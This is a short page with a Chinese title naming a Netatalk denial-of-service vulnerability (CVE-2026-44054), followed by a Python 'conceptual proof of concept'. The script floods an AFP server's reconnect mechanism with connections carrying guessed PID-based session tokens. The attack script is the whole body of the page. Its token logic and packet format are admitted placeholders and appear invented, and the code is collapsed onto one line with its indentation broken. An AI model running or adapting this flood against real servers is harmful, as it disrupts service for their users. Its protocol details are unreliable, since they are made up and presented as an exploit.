CVE-2026-44054 Netatalk 拒绝服务漏洞

import socket import time # Conceptual Proof of Concept for CVE-2026-44054 # Demonstrates predicting AFP session tokens based on predictable PIDs # to cause a Denial of Service (DoS) via the reconnect mechanism. TARGET_IP = "192.168.1.100" TARGET_PORT = 548 # Default AFP port def predict_token(pid): # Hypothetical token generation logic based on PID # Real implementation requires reversing Netatalk's token generation return f"TOKEN_{pid}" def exploit(): print(f"[*] Targeting {TARGET_IP}:{TARGET_PORT}") # 1. Authenticate as a low-privilege user (Simulation) # ... connection setup code ... # 2. Attempt to flood the reconnect mechanism with predicted tokens for pid_guess in range(1000, 2000): # Guessing PID range try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_IP, TARGET_PORT)) # Construct malicious reconnect packet with predicted token token = predict_token(pid_guess) payload = f"RECONNECT {token}".encode() sock.send(payload) print(f"[*] Sent payload with guessed PID: {pid_guess}") sock.close() except Exception as e: print(f"[-] Error: {e}") print("[*] Attack finished. Check service availability.") if __name__ == "__main__": exploit()